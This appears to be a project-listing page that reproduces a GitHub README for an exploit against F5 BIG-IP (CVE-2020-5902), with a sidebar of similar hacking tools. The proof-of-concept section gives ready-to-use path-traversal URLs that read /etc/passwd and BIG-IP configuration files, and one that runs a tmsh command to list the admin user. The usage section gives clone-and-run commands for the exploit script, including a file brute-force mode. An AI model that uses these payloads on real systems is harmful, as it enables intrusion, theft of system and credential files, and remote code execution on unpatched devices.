All Projects → yasserjanah → CVE-2020-5902

yasserjanah / CVE-2020-5902

Licence: GPL-3.0 license
exploit code for F5-Big-IP (CVE-2020-5902)

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to CVE-2020-5902

Mec
for mass exploiting
Stars: ✭ 448 (+1110.81%)
Mutual labels:  exploits, rce, hacking-tool
Domainker
BugBounty Tool
Stars: ✭ 40 (+8.11%)
Mutual labels:  rce, hacking-tool
reosploit
A Tool that Finds, Enumerates, and Exploits Reolink Cameras.
Stars: ✭ 89 (+140.54%)
Mutual labels:  exploits, hacking-tool
OSCE
Some exploits, which I’ve created during my OSCE preparation.
Stars: ✭ 74 (+100%)
Mutual labels:  exploits, rce
Exploits
Miscellaneous exploit code
Stars: ✭ 1,157 (+3027.03%)
Mutual labels:  exploits, rce
Thc Archive
All releases of the security research group (a.k.a. hackers) The Hacker's Choice
Stars: ✭ 474 (+1181.08%)
Mutual labels:  exploits, hacking-tool
Brutus
Botnet targeting Windows machines written entirely in Python & open source security project.
Stars: ✭ 37 (+0%)
Mutual labels:  exploits, hacking-tool
Linux Exploit Suggester
Linux privilege escalation auditing tool
Stars: ✭ 3,126 (+8348.65%)
Mutual labels:  exploits, hacking-tool
exploits
Some personal exploits/pocs
Stars: ✭ 52 (+40.54%)
Mutual labels:  exploits, rce
refluxion
Refluxion -- MITM WPA attacks tool
Stars: ✭ 25 (-32.43%)
Mutual labels:  hacking-tool
Jasmin-Ransomware
Jasmin Ransomware is an advanced red team tool (WannaCry Clone) used for simulating real ransomware attacks. Jasmin helps security researchers to overcome the risk of external attacks.
Stars: ✭ 84 (+127.03%)
Mutual labels:  hacking-tool
dora
Find exposed API keys based on RegEx and get exploitation methods for some of keys that are found
Stars: ✭ 229 (+518.92%)
Mutual labels:  exploits
Brutegram
Instagram multi-bruteforce Platfrom
Stars: ✭ 183 (+394.59%)
Mutual labels:  hacking-tool
MCPTool
Pentesting tool for Minecraft
Stars: ✭ 73 (+97.3%)
Mutual labels:  hacking-tool
lit-bb-hack-tools
Little Bug Bounty & Hacking Tools⚔️
Stars: ✭ 180 (+386.49%)
Mutual labels:  hacking-tool
Kali-Linux-Tools-With-Python
Hacking Tools
Stars: ✭ 27 (-27.03%)
Mutual labels:  hacking-tool
spring-boot-upload-file-lead-to-rce-tricks
spring boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧
Stars: ✭ 517 (+1297.3%)
Mutual labels:  rce
WPCracker
WordPress pentest tool
Stars: ✭ 34 (-8.11%)
Mutual labels:  hacking-tool
raptor infiltrate20
#INFILTRATE20 raptor's party pack
Stars: ✭ 24 (-35.14%)
Mutual labels:  exploits
CVE-2021-41773 CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
Stars: ✭ 20 (-45.95%)
Mutual labels:  rce

CVE-2020-5902

exploit code for F5-Big-IP (CVE-2020-5902)

Summary

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

Proof of concept

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

Usage

$ git clone https://github.com/yasserjanah/CVE-2020-5902
$ cd CVE-2020-5902/
$ pip3 install -r ./requirements.txt
$ python3 exploit-CVE-2020-5902.py -ip <IP> -f /etc/passwd

-b to brute force files from a wordlist

$ python3 exploit-CVE-2020-5902.py -ip <IP> -b
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].